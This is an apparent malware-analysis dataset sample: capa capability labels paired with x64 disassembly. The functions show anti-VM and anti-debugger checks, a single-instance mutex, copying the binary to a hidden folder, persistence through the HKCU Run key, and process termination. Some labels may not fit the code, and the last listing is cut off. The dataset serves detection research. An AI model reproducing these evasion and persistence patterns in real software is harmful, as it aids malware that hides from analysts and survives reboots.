joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003c9c
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x390], rax
call fcn.140002a28
lea rcx, str.vmware.exe
call fcn.140005718
xor edi, edi
test al, al
jne 0x140003f24
lea rcx, str.vmware_vmx.exe
call fcn.140005718
test al, al
jne 0x140003f24
lea rcx, str.vboxservice.exe
call fcn.140005718
test al, al
jne 0x140003f24
lea rcx, str.vboxtray.exe
call fcn.140005718
test al, al
jne 0x140003f24
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140003d32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
mov r8d, ebx
call qword [0x1400421c8]
test eax, eax
je 0x140003d5f
lea rcx, [rbp + 0x180]
call qword [0x140042298]
mov r8, rax
jmp 0x140003d66
lea r8, str.Unknown
lea rcx, [rsp + 0x70]
or r9, 0xffffffffffffffff
mov rdx, rbx
call fcn.14000ad08
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14000ab58
test eax, eax
je 0x140003e6f
call fcn.1400016c0
call fcn.14000554c
lea rbx, [0x1400422d0]
mov rcx, rbx
call fcn.140005130
lea rcx, str.Chrome
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rdi
mov word [rsp + 0x40], di
call fcn.14000a320
lea rdx, str.Chrome
lea rcx, [rsp + 0x40]
mov r8, rax
call fcn.1400023f4
cmp byte [0x1400422d0], dil
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jne 0x140003dfd
mov rax, rdi
jmp 0x140003e05
mov rcx, rbx
call fcn.140009ed0
lea rcx, [rsp + 0x20]
mov r8, rax
mov rdx, rbx
call fcn.1400012fc
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14000529c
cmp qword [rsp + 0x38], 0x10
jb 0x140003e36
mov rcx, qword [rsp + 0x20]
call fcn.140006500
cmp qword [rsp + 0x58], 8
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jb 0x140003e5b
mov rcx, qword [rsp + 0x40]
call fcn.140006500
call fcn.140004f24
call fcn.140002010
test eax, eax
jne 0x140003e6f
call fcn.140003b50
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14000ab58
test eax, eax
jne 0x140003f1b
lea r8, [0x140026528]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140003ec1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003ec1
mov rcx, rbx
call qword [0x1400422a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov dword [rsp + 0x60], edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0x1000
lea r9, [rsp + 0x60]
mov r8d, 4
mov edx, edi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
xor edx, edx
mov rcx, rbx
call fcn.14000a0f0
lea rcx, [0x1400423e0]
call fcn.140005130
call fcn.1400063ec
mov qword [0x1400422c8], rax
call fcn.140005d34
call fcn.140003b50
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140004e00
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140004e54
mov rcx, rbx
call qword [0x1400422a0]
mov rcx, rsi
call qword [0x1400422a0]
xor eax, eax
jmp 0x140004ea1
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [0x140042188]
mov rsi, rax
test rax, rax
je 0x140004e50
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.1400099d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [0x1400422a0]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140005130
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.14000a0f0
lea rcx, [rsp + 0x30]
call fcn.140005010
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [0x140042270]
lea rdx, [0x14002652c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x14002652c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400099a0
add rsp, 0x60
pop rbx
ret
Function at 0x14000554c
Capabilities:
Copy file
Create directory
Get file attributes
Persist via run registry key
Set file attributes

Disassembly:
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor edx, edx
lea rcx, [rsp + 0x39]
mov byte [rsp + 0x38], 0
lea r8d, [rdx + 0x22]
call fcn.14000a0f0
lea rcx, [rsp + 0x38]
call fcn.140005010
xor r9d, r9d
lea rax, [rbp + 0x70]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [0x140042270]
test eax, eax
je 0x1400055b3
xor al, al
jmp 0x1400056ff
lea rdx, [0x14002652c]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400055f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400055ac
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rbp + 0x70]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rbp + 0x180]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x70]
lea rcx, [rsp + 0x60]
mov edx, 0x104
call fcn.14000c3f0
lea rdx, [0x14002652c]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x180]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1400055ac
lea rcx, [rsp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [0x1400421a8]
test eax, eax
jne 0x1400056fd
lea rcx, [rsp + 0x60]
call fcn.140009ed0
lea rcx, [rsp + 0x60]
lea rdx, str.Services
inc eax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x30]
call qword [0x140042150]
mov rcx, qword [rsp + 0x30]
call qword [0x1400420f8]
mov al, 1
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.1400099a0
add rsp, 0x3a0
pop rbp
ret
Function at 0x140005718
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005757
xor al, al
jmp 0x1400057a7
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x14000579c
jmp 0x140005786
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000ab94
test eax, eax
je 0x14000579a
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005775
jmp 0x14000579c
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400057cc
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140005818
xor eax, eax
jmp 0x1400058f3
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400058e0
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x5c]
call fcn.14000ab58
test eax, eax
jne 0x1400058d2
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400058d2
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x1400058c9
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x1400058c9
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005842
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000591c
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400059c7
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400059ba
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000ab58
test eax, eax
jne 0x1400059ac
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400059ac
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000596f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400063ec
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, [0x1400423e0]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 7]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400064b1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
lea ecx, [rax + 1]
call fcn.1400064d8
mov rdi, rax
test rax, rax
je 0x1400064a3
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000649a
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x40]
mov dword [0x1400423d8], eax
mov byte [rax + rdi], bl
mov rcx, rsi
mov rbx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400064b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400099a0
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140006b04
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r14d, dx
mov rdi, rcx
mov ebx, 0xffff
xor esi, esi
cmp bx, dx
jne 0x140006b53
movzx eax, si
jmp 0x140006d20
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140006b90
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x140006b90
lea ecx, [r9 - 1]
mov dword [rax], ecx
mov rdx, qword [rdi + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], r14w
movzx eax, r14w
jmp 0x140006d20
cmp qword [rcx + 0x90], rsi
je 0x140006d1d
mov rdx, qword [rcx + 0x18]
lea rax, [rcx + 0x80]
cmp qword [rdx], rax
jne 0x140006bcb
mov rcx, qword [rcx + 0x70]
mov rax, qword [rdi + 0x68]
mov qword [rdx], rax
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
sub rcx, rcx
sar rcx, 1
mov rax, qword [rdi + 0x50]
mov dword [rax], ecx
cmp qword [rdi + 0x78], rsi
jne 0x140006bf3
mov rdx, qword [rdi + 0x90]
movzx ecx, r14w
call fcn.14000b19c
cmp ax, bx
je 0x140006d1d
movzx ebx, r14w
jmp 0x140006d1d
mov word [rbp - 1], r14w
mov qword [rbp + 0x1f], 0xf
mov qword [rbp + 0x17], rsi
mov byte [rbp + 7], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp + 7]
call fcn.140001234
nop
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rdx, qword [rbp + 7]
lea r8, [rbp + 7]
cmovae r8, qword [rbp + 7]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
add rdx, qword [rbp + 0x17]
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 1]
lea r8, [rbp - 1]
lea rdx, [rdi + 0x84]
call qword [r10 + 0x38]
test eax, eax
js 0x140006d0d
cmp eax, 1
jg 0x140006cef
lea rax, [rbp + 7]
mov r9, qword [rbp + 7]
mov r10, qword [rbp + 0x1f]
cmp r10, 0x10
cmovae rax, r9
mov r15, qword [rbp - 9]
sub r15, rax
je 0x140006cb9
lea rcx, [rbp + 7]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, r15
mov edx, 1
call fcn.14000cb28
cmp r15, rax
jne 0x140006d0d
mov byte [rdi + 0x82], 1
lea rax, [rbp - 1]
cmp qword [rbp - 0x11], rax
jne 0x140006d09
test r15, r15
jne 0x140006c19
cmp qword [rbp + 0x17], 0x20
jae 0x140006d0d
xor r8d, r8d
lea edx, [r15 + 8]
lea rcx, [rbp + 7]
call fcn.1400035f4
jmp 0x140006c19
cmp eax, 3
jne 0x140006d0d
mov rdx, qword [rdi + 0x90]
movzx ecx, word [rbp - 1]
call fcn.14000b19c
cmp ax, bx
je 0x140006d0d
movzx ebx, r14w
cmp qword [rbp + 0x1f], 0x10
jb 0x140006d1d
mov rcx, qword [rbp + 7]
call fcn.140006500
movzx eax, bx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140007dfc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002ca48]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
xor ebx, ebx
cmp qword [rcx + 0x78], rbx
je 0x140007f5b
cmp byte [rcx + 0x82], bl
je 0x140007f5b
mov rax, qword [rcx]
mov esi, 0xffff
mov edx, esi
call qword [rax + 0x18]
cmp si, ax
jne 0x140007e61
xor al, al
jmp 0x140007f60
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x30], bl
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call fcn.140001234
nop
mov esi, 1
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
lea r8, [rbp - 0x30]
cmovae r8, qword [rbp - 0x30]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x84]
call qword [r10 + 0x40]
mov ecx, eax
test eax, eax
je 0x140007ecb
dec ecx
jne 0x140007f37
jmp 0x140007ed1
mov byte [rdi + 0x82], bl
lea rax, [rbp - 0x30]
mov r9, qword [rbp - 0x30]
mov r10, qword [rbp - 0x18]
cmp r10, 0x10
cmovae rax, r9
mov r14, qword [rbp - 0x38]
sub r14, rax
je 0x140007f11
lea rcx, [rbp - 0x30]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, r14
mov rdx, rsi
call fcn.14000cb28
cmp r14, rax
jne 0x140007f41
cmp byte [rdi + 0x82], bl
je 0x140007f3e
test r14, r14
jne 0x140007e86
xor r8d, r8d
lea edx, [r14 + 8]
lea rcx, [rbp - 0x30]
call fcn.1400035f4
jmp 0x140007e86
cmp ecx, 2
jne 0x140007f47
jmp 0x140007f44
mov bl, sil
mov sil, bl
mov bl, sil
cmp qword [rbp - 0x18], 0x10
jb 0x140007f57
mov rcx, qword [rbp - 0x30]
call fcn.140006500
mov al, bl
jmp 0x140007f60
mov eax, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400099a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1800104d0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov edx, dword [rsp + 0x10]
mov dword [rax + rcx], edx
mov rax, qword [rsp + 8]
mov dword [rax + 8], 1
jmp 0x180010511
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 8]
cmp dword [rax + 8], 0x270
jge 0x1800105a8
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
dec eax
cdqe
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
dec edx
movsxd rdx, edx
mov r8, qword [rsp + 8]
mov r8, qword [r8]
mov edx, dword [r8 + rdx*4]
shr edx, 0x1e
mov eax, dword [rcx + rax*4]
xor eax, edx
imul eax, eax, 0x6c078965
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 8]
mov rcx, qword [rsp + 8]
movsxd rcx, dword [rcx + 8]
mov rdx, qword [rsp + 8]
mov rdx, qword [rdx]
mov dword [rdx + rcx*4], eax
mov rax, qword [rsp + 8]
movsxd rax, dword [rax + 8]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 8]
movsxd rdx, dword [rdx + 8]
mov r8, qword [rsp + 8]
mov r8, qword [r8]
mov eax, dword [rcx + rax*4]
mov dword [r8 + rdx*4], eax
jmp 0x1800104ff
mov rax, qword [rsp + 8]
mov ecx, dword [rsp + 0x10]
mov dword [rax + 0x1c], ecx
mov rax, qword [rsp + 8]
mov byte [rax + 0x20], 0
mov rax, qword [rsp + 8]
mov byte [rax + 0x21], 1
ret
Function at 0x1800190f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afc0], 0
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x6afb8], 0
jne 0x18001913e
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afc0], 1
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afb8], 0x10000
mov eax, 4
imul rax, rax, 0x7fff
mov rcx, qword [rsp + 0x40]
mov dword [rcx + rax + 0x4afb8], 0
mov rax, qword [rsp + 0x40]
add rax, 0x4afb8
mov rdi, rax
xor eax, eax
mov ecx, 0x1fffc
rep stosb byte [rdi], al
movsxd rax, dword [rsp + 0x48]
lea rcx, [0x1800ad4f0]
movzx eax, word [rcx + rax*8 + 2]
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afe0], eax
movsxd rax, dword [rsp + 0x48]
lea rcx, [0x1800ad4f0]
movzx eax, word [rcx + rax*8]
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afe4], eax
movsxd rax, dword [rsp + 0x48]
lea rcx, [0x1800ad4f0]
movzx eax, word [rcx + rax*8 + 4]
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afe8], eax
movsxd rax, dword [rsp + 0x48]
lea rcx, [0x1800ad4f0]
movzx eax, word [rcx + rax*8 + 6]
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afdc], eax
cmp dword [rsp + 0x48], 2
jg 0x1800191fc
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
or eax, 4
mov rcx, qword [rsp + 0x50]
mov word [rcx], ax
jmp 0x180019216
cmp dword [rsp + 0x48], 8
jl 0x180019216
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
or eax, 2
mov rcx, qword [rsp + 0x50]
mov word [rcx], ax
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afcc], 0
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afbc], 0
mov dword [rsp + 0x20], 0x8000
mov eax, dword [rsp + 0x20]
shl eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
add rax, 0x1afb8
mov r8d, dword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afd8], eax
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x6afd8], 0
je 0x18001928d
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x6afd8], 0xffffffff
jne 0x1800192b0
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afd4], 1
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afd8], 0
jmp 0x180019337
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afd4], 0
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x6afd8], 0x106
jae 0x1800192da
mov rcx, qword [rsp + 0x40]
call fcn.180019710
mov rax, qword [rsp + 0x40]
mov dword [rax + 0x6afc4], 0
mov dword [rsp + 0x20], 0
jmp 0x1800192fd
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 2
jae 0x180019337
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x6afc4]
shl eax, 5
mov ecx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx + 0x1afb8]
xor eax, ecx
and eax, 0x7fff
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x6afc4], eax
jmp 0x1800192f3
add rsp, 0x30
pop rdi
ret
Function at 0x18001b8e0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
mov eax, 4
imul rax, rax, 0
movsx ecx, byte [rsp + 0x10]
mov rdx, qword [rsp + 8]
mov eax, dword [rdx + rax]
xor eax, ecx
and eax, 0xff
cdqe
lea rcx, [0x1800ad0f0]
mov edx, 4
imul rdx, rdx, 0
mov r8, qword [rsp + 8]
mov edx, dword [r8 + rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 1
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 8]
mov ecx, dword [rdx + rcx]
and ecx, 0xff
mov rdx, qword [rsp + 8]
add ecx, dword [rdx + rax]
mov eax, ecx
mov ecx, 4
imul rcx, rcx, 1
mov rdx, qword [rsp + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
imul eax, dword [rcx + rax], 0x8088405
inc eax
